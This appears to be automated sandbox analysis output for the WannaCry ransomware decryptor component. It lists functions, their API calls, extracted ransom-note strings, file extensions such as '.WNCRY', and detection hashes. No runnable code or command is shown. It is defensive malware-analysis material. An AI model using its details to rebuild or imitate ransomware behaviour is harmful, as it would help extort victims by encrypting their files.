                                        • SendMessageA.USER32(?,0000000E,00000000,00000000), ref: 00406DDC
                                        • #823.MFC42(00000001,?,?), ref: 00406DEC
                                        • SendMessageA.USER32(?,0000044B,00000000,?), ref: 00406E1D
                                        • _strnicmp.MSVCRT ref: 00406E3E
                                        • _strnicmp.MSVCRT ref: 00406E5A
                                        • SendMessageA.USER32(?,00000437,00000000,?), ref: 00406EA2
                                        • #6136.MFC42 ref: 00406EC4
                                        • #825.MFC42(?), ref: 00406ED7
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: MessageSend$_strnicmp$#6136#823#825
                                        • String ID: <http://$<https://$T
                                        • API String ID: 1228111698-1216084165
                                        • Opcode ID: d423051487410fe263d6ec4d138bc8bb6478c9a20731e0d0eb8aa801e432672a
                                        • Instruction ID: 32e461136b03d60599108953de6477053a568cccd29e118696d71e5d9ed076ef
                                        • Opcode Fuzzy Hash: d423051487410fe263d6ec4d138bc8bb6478c9a20731e0d0eb8aa801e432672a
                                        • Instruction Fuzzy Hash: 7E31D6B52043509BD320CF18CC41FABB7E4BB98704F044A3EF98AD7281E678D95987D9
                                        Function 00402560 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 81fileCOMMON
                                        Download Yara Rule
                                        APIs
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: File$Delete_wcsicmp$Movewcscatwcscpywcsrchr
                                        • String ID: .WNCRY$.WNCYR$.org
                                        • API String ID: 1016768320-4283512309
                                        • Opcode ID: ca6531dd56d56dd65b8b31a4033326b7c97dce23bd12cfbd58547a94a49b2b6f
                                        • Instruction ID: 8e688c7c8c2018b5eb76f9bfe5eaf8fc18d5300b1d9ff01e022ce9e0f1e53e02
                                        • Opcode Fuzzy Hash: ca6531dd56d56dd65b8b31a4033326b7c97dce23bd12cfbd58547a94a49b2b6f
                                        • Instruction Fuzzy Hash: 29219576240301ABD220DB15FE49BEB7799DBD4711F44483BF901A2280EB7DD90987BE
                                        Function 00412360 Relevance: 17.9, APIs: 7, Strings: 3, Instructions: 366COMMON
                                        Download Yara Rule
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID:
                                        • String ID: %s%s$%s%s%s$:
                                        • API String ID: 0-3034790606
                                        • Opcode ID: 5870813841fd6422a36b130af846364780db05c619c896662a0e99f340824b5b
                                        • Instruction ID: ec0a86814d75b7591ef383b01d603f7b60d36dbaf36e5cde56c141efaaef7cbf
                                        • Opcode Fuzzy Hash: 5870813841fd6422a36b130af846364780db05c619c896662a0e99f340824b5b
                                        • Instruction Fuzzy Hash: 67C138726002045BDB20DF18ED81BEB7398EB85314F04456BFD54CB385D2BDE99A87AA
                                        Function 00413102 Relevance: 16.6, APIs: 11, Instructions: 111COMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
                                        • String ID:
                                        • API String ID: 801014965-0
                                        • Opcode ID: 9f29f74fa0ca4091ce937db24ce742eca73e17089ce00c114469281514e7078a
                                        • Instruction ID: fcecf6e401754473f6225594f41014142e7d5ca2867d00c097f2044c16acc313
                                        • Opcode Fuzzy Hash: 9f29f74fa0ca4091ce937db24ce742eca73e17089ce00c114469281514e7078a
                                        • Instruction Fuzzy Hash: F9419F71940308EFCB20DFA4DC45AE97BB9EB09711B20016FF855972A1D7788A81CB6C
                                        Function 00404280 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 51windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        • #6663.MFC42(mailto:,00000000,?), ref: 004042AC
                                        • GetParent.USER32(?), ref: 004042BB
                                        • #2864.MFC42(00000000), ref: 004042C2
                                        • SendMessageA.USER32(?,00001388,?,?), ref: 004042D5
                                        • #2379.MFC42 ref: 004042DD
                                          • Part of subcall function 00404530: #289.MFC42 ref: 0040455F
                                          • Part of subcall function 00404530: #5789.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004137C8), ref: 00404574
                                          • Part of subcall function 00404530: GetTextExtentPoint32A.GDI32(?,?,?,?), ref: 0040458D
                                          • Part of subcall function 00404530: #5789.MFC42(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004045A6
                                          • Part of subcall function 00404530: #613.MFC42 ref: 004045BB
                                        • ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 004042F7
                                        • #2379.MFC42(?), ref: 004042FF
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #2379#5789$#2864#289#613#6663ExecuteExtentMessageParentPoint32SendShellText
                                        • String ID: mailto:$open
                                        • API String ID: 1144735033-2326261162
                                        • Opcode ID: 5760831a2f2f2ca95af973a0ffa58b3d14cd67dec606a23a37973cc095c9dbd7
                                        • Instruction ID: 92cf742add8d60ef6c93fe1e72e53283c618a6078d8cf76be364cef0d5edaefa
                                        • Opcode Fuzzy Hash: 5760831a2f2f2ca95af973a0ffa58b3d14cd67dec606a23a37973cc095c9dbd7
                                        • Instruction Fuzzy Hash: AC0175753003106BD624A761ED46FEF7369AFD4B55F40046FFA41A72C1EAB8A8428A6C
                                        Function 0040BAF0 Relevance: 15.3, APIs: 10, Instructions: 301stringsleepCOMMON
                                        Download Yara Rule
                                        APIs
                                        • strtok.MSVCRT ref: 0040BBA9
                                        • strtok.MSVCRT ref: 0040BC22
                                        • #825.MFC42(?,?), ref: 0040BCDD
                                        • GetTickCount.KERNEL32 ref: 0040BCEC
                                        • srand.MSVCRT ref: 0040BCF3
                                        • rand.MSVCRT ref: 0040BD09
                                        • #825.MFC42(00000000,00000000,?,?,?,00000000,00000000), ref: 0040BD9F
                                        • Sleep.KERNEL32(00000BB8,00000000,?,?,?,00000000,00000000), ref: 0040BDB5
                                        • #825.MFC42(?,?,?,?), ref: 0040BDED
                                          • Part of subcall function 0040C860: #825.MFC42(?,00000000,00000428,00422214,00000000,0040BDE8,?,?,?), ref: 0040C8B5
                                        • #825.MFC42(?), ref: 0040BE7A
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #825$strtok$CountSleepTickrandsrand
                                        • String ID:
                                        • API String ID: 1749417438-0
                                        • Opcode ID: 22053940df912021fb9a6cdb0f17ac6f6ca949f8e593908d0331f463cdce664a
                                        • Instruction ID: 15ce6157e9eadcb8372a8ba3d428bceb52ebc69e02ab62c17c692bc1e2f98a80
                                        • Opcode Fuzzy Hash: 22053940df912021fb9a6cdb0f17ac6f6ca949f8e593908d0331f463cdce664a
                                        • Instruction Fuzzy Hash: 48A102716082059BC724DF34C841AABB7D4EF95314F044A3EF99AA73D1EB78D908C79A
                                        Function 004038F0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 84windowCOMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00403EB0: #3092.MFC42(00000407,00000000,?,?,00403916,00000000), ref: 00403EBE
                                          • Part of subcall function 00403EB0: #2642.MFC42(00000407,00000000,?,?,00403916,00000000), ref: 00403EC5
                                          • Part of subcall function 00403EB0: #3092.MFC42(00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403ED2
                                          • Part of subcall function 00403EB0: #2642.MFC42(00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403ED9
                                          • Part of subcall function 00403EB0: #3092.MFC42(00000002,00000000,00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403EE3
                                          • Part of subcall function 00403EB0: #2642.MFC42(00000002,00000000,00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403EEA
                                        • SendMessageA.USER32(?,00000147,00000000,00000000), ref: 0040392C
                                        • SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00403946
                                        • sprintf.MSVCRT ref: 0040397A
                                        • #1200.MFC42(All your files have been decrypted!,00000040,00000000,?,00000000,?), ref: 004039C8
                                          • Part of subcall function 00403AF0: fopen.MSVCRT ref: 00403B17
                                          • Part of subcall function 00403A20: GetLogicalDrives.KERNEL32 ref: 00403A35
                                          • Part of subcall function 00403A20: GetDriveTypeW.KERNEL32 ref: 00403A7A
                                          • Part of subcall function 00403A20: GetDiskFreeSpaceExW.KERNEL32(0000005C,?,0000005C,?), ref: 00403A95
                                        • CloseHandle.KERNEL32(?,00000001), ref: 004039F1
                                        Strings
                                        • Pay now, if you want to decrypt ALL your files!, xrefs: 004039A7
                                        • All your files have been decrypted!, xrefs: 004039C3
                                        • %08X.dky, xrefs: 00403969
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #2642#3092$MessageSend$#1200CloseDiskDriveDrivesFreeHandleLogicalSpaceTypefopensprintf
                                        • String ID: %08X.dky$All your files have been decrypted!$Pay now, if you want to decrypt ALL your files!
                                        • API String ID: 139182656-2046724789
                                        • Opcode ID: 1dbeb97ef8e3bee0cd3efc7c8e00841dbdade8396809c06b0445c09d242267da
                                        • Instruction ID: fac117d1ea4493994a32f15f907d1e0ff38d66192023d423f75a73c990ecb755
                                        • Opcode Fuzzy Hash: 1dbeb97ef8e3bee0cd3efc7c8e00841dbdade8396809c06b0445c09d242267da
                                        • Instruction Fuzzy Hash: 1921E670344701ABD220EF25CC02FAB7B98AB84B15F10463EF659A72D0DBBCA5058B9D
                                        Function 00404090 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 55COMMON
                                        Download Yara Rule
                                        APIs
                                        • #567.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040B0
                                        • #540.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040C6
                                        • #540.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040D5
                                        • #860.MFC42(00421798), ref: 004040F6
                                        • #858.MFC42(00000000,00421798), ref: 004040FE
                                        • LoadCursorA.USER32(00000000,00007F89), ref: 00404118
                                        • LoadCursorA.USER32(00000000,00007F00), ref: 00404123
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #540CursorLoad$#567#858#860
                                        • String ID: 0ZA
                                        • API String ID: 2440951079-2594568282
                                        • Opcode ID: 16eebf364e087f87632c2e7a7835be7f4f2429e092200a979286dc3c7585418b
                                        • Instruction ID: e4089f7d30d89e223e5e607c52669a324e752666537a285565f49de8eb968109
                                        • Opcode Fuzzy Hash: 16eebf364e087f87632c2e7a7835be7f4f2429e092200a979286dc3c7585418b
                                        • Instruction Fuzzy Hash: 20119071244B909FC320DF1AC941B9AFBE8BBC5704F80492EE18693741C7FDA4488B99
                                        Function 00407CB0 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 004030E0: #324.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403109
                                          • Part of subcall function 004030E0: #567.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403119
                                          • Part of subcall function 004030E0: #567.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403131
                                        • #2514.MFC42 ref: 00407CE5
                                        • #2414.MFC42 ref: 00407D1A
                                        • #2414.MFC42 ref: 00407D4F
                                        • #616.MFC42 ref: 00407D6E
                                        • #693.MFC42 ref: 00407D7F
                                        • #641.MFC42 ref: 00407D93
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #2414#567$#2514#324#616#641#693
                                        • String ID: [A$[A
                                        • API String ID: 3779294304-353784214
                                        • Opcode ID: 8cb0ee6c83bcfaf23f1674bf443e371668351bddcb93b585418f44b11fe32095
                                        • Instruction ID: 921579082029cd8bb4f4eae6bba3465eb1c6e4c5ad01fea5c96a88f9cf2edf1e
                                        • Opcode Fuzzy Hash: 8cb0ee6c83bcfaf23f1674bf443e371668351bddcb93b585418f44b11fe32095
                                        • Instruction Fuzzy Hash: B511A7B404D7C1CBD334DF14C255BEEBBE4BBA4714F40891EA5D947681EBB81188CA57
                                        Function 0040C240 Relevance: 13.7, APIs: 9, Instructions: 195windowfileCOMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 0040BED0: #823.MFC42(0000002C), ref: 0040BF0C
                                        • SendMessageA.USER32(?,00004E20,00000000,00000000), ref: 0040C2B6
                                        • SendMessageA.USER32(?,00004E20,00000000,00000000), ref: 0040C2E3
                                        • SendMessageA.USER32(?,00004E21,000000FF,00000000), ref: 0040C3B7
                                        • SendMessageA.USER32(?,00004E21,00000000,00000000), ref: 0040C3EE
                                        • SendMessageA.USER32(?,00004E22,000000FF,00000000), ref: 0040C427
                                        • fopen.MSVCRT ref: 0040C46B
                                        • fwrite.MSVCRT ref: 0040C489
                                        • fclose.MSVCRT ref: 0040C48F
                                        • SendMessageA.USER32(?,00004E22,00000000,00000000), ref: 0040C4A9
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: MessageSend$#823fclosefopenfwrite
                                        • String ID:
                                        • API String ID: 1132507536-0
                                        • Opcode ID: 8015c574444b46ea95aa7a5c372928425bf19f7a7df4c5ec4de0add245179140
                                        • Instruction ID: 95d53ca3448e84e776e95c4e63a8e9d5249152c92c36a986718404cc297984b8
                                        • Opcode Fuzzy Hash: 8015c574444b46ea95aa7a5c372928425bf19f7a7df4c5ec4de0add245179140
                                        • Instruction Fuzzy Hash: F171F471204341EBD220DF51CC85FABB7E8FF88714F004B2EB6546B2D1CA78A909C79A
                                        Function 00401140 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 49windowtimethreadCOMMON
                                        Download Yara Rule
                                        APIs
                                        • #4710.MFC42 ref: 00401145
                                        • SendMessageA.USER32(?,00000404,00000001,00000000), ref: 00401160
                                        • SendMessageA.USER32(?,00000401,00000000,00280000), ref: 00401175
                                        • #537.MFC42(Connecting to server...), ref: 0040118D
                                          • Part of subcall function 00401970: #3092.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 00401997
                                          • Part of subcall function 00401970: #6199.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 0040199E
                                          • Part of subcall function 00401970: #800.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 004019AF
                                        • SetTimer.USER32(?,000003E9,000003E8,00000000), ref: 004011B3
                                        • CreateThread.KERNEL32(00000000,00000000,004012D0,?,00000000,00000000), ref: 004011D1
                                        Strings
                                        • Connecting to server..., xrefs: 00401188
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: MessageSend$#3092#4710#537#6199#800CreateThreadTimer
                                        • String ID: Connecting to server...
                                        • API String ID: 3305248171-1849848738
                                        • Opcode ID: aade00bc90c5f3efc1f806a2182fbe742cea5c73be26a938389ce35b89292200
                                        • Instruction ID: 074e0af6858d04fd3a88c2e6ba563778cf6a67133e9310fa302bc50ac74eac6c
                                        • Opcode Fuzzy Hash: aade00bc90c5f3efc1f806a2182fbe742cea5c73be26a938389ce35b89292200
                                        • Instruction Fuzzy Hash: 480175B0390700BBE2305B66CC46F8BB694AF84B50F10851EF349AA2D0CAF474018B99
                                        Function 00402F10 Relevance: 10.6, APIs: 7, Instructions: 139COMMON
                                        Download Yara Rule
                                        APIs
                                        • ?_Xran@std@@YAXXZ.MSVCP60(?,00000000,?,?,?,?,00413591,000000FF,00402DE4,00000008,?,?), ref: 00402F6E
                                        • ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60(?,00000000,?,?,?,?,00413591,000000FF,00402DE4,00000008,?,?), ref: 00402F76
                                        • ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000000), ref: 00402FAD
                                        • ?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI@Z.MSVCP60(?), ref: 00402FBA
                                        • ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60 ref: 00402FC2
                                        • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001,?,00000000,?,?,?,?,00413591,000000FF,00402DE4,00000008,?,?), ref: 00402FF9
                                        • ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000001,?,00000000,?,?,?,?,00413591,000000FF,00402DE4,00000008,?,?), ref: 0040303A
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: G@2@@std@@G@std@@U?$char_traits@V?$allocator@$Grow@?$basic_string@Split@?$basic_string@$Eos@?$basic_string@Tidy@?$basic_string@Xran@std@@
                                        • String ID:
                                        • API String ID: 2613176527-0
                                        • Opcode ID: 8ce352b19e6a2730b7c76d5054ffee361a812e6060838c656af55f7e3134e3cb
                                        • Instruction ID: fd0731f71cda593906caa3e5dc22cd8926dd74a2c181b66db9bbc309a642df48
                                        • Opcode Fuzzy Hash: 8ce352b19e6a2730b7c76d5054ffee361a812e6060838c656af55f7e3134e3cb
                                        • Instruction Fuzzy Hash: 9B41F431300B01CFC720DF19C984AAAFBB6FBC5711B50896EE45A87790DB39A841CB58
                                        Function 00407F80 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 101fileCOMMON
                                        Download Yara Rule
                                        APIs
                                        • fopen.MSVCRT ref: 00407FBD
                                        • fread.MSVCRT ref: 00407FDD
                                        • fclose.MSVCRT ref: 00407FE4
                                          • Part of subcall function 0040BE90: strncpy.MSVCRT ref: 0040BE9C
                                          • Part of subcall function 0040BE90: strncpy.MSVCRT ref: 0040BEAD
                                          • Part of subcall function 0040BE90: strncpy.MSVCRT ref: 0040BEBE
                                          • Part of subcall function 0040C4F0: strncpy.MSVCRT ref: 0040C628
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: strncpy$fclosefopenfread
                                        • String ID: +++$00000000.res$s.wnry
                                        • API String ID: 3363958884-869915597
                                        • Opcode ID: f68bea0f835de8c5134664bc8bdf0f2d83c21063f60135f2f8b7247afbe90d08
                                        • Instruction ID: e8fd78c0316e70a0a3c69cc1eb433b8a063ef73abc5183098f2ea38c2d595da4
                                        • Opcode Fuzzy Hash: f68bea0f835de8c5134664bc8bdf0f2d83c21063f60135f2f8b7247afbe90d08
                                        • Instruction Fuzzy Hash: D3313732600604ABD7249620DC05BFF7399EBC1324F404B3EF965B32C1EBBC6A098696
                                        Function 00401220 Relevance: 10.6, APIs: 7, Instructions: 53windowtimeCOMMON
                                        Download Yara Rule
                                        APIs
                                        • SendMessageA.USER32(?,00000402,00000028,00000000), ref: 00401253
                                        • KillTimer.USER32(?,000003E9), ref: 0040125E
                                        • #4853.MFC42 ref: 00401266
                                        • SendMessageA.USER32(?,00000408,00000000,00000000), ref: 0040127B
                                        • SendMessageA.USER32(?,00000405,00000000,00000000), ref: 00401295
                                        • SendMessageA.USER32(?,00000408,00000000,00000000), ref: 004012B1
                                        • #2379.MFC42 ref: 004012C4
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
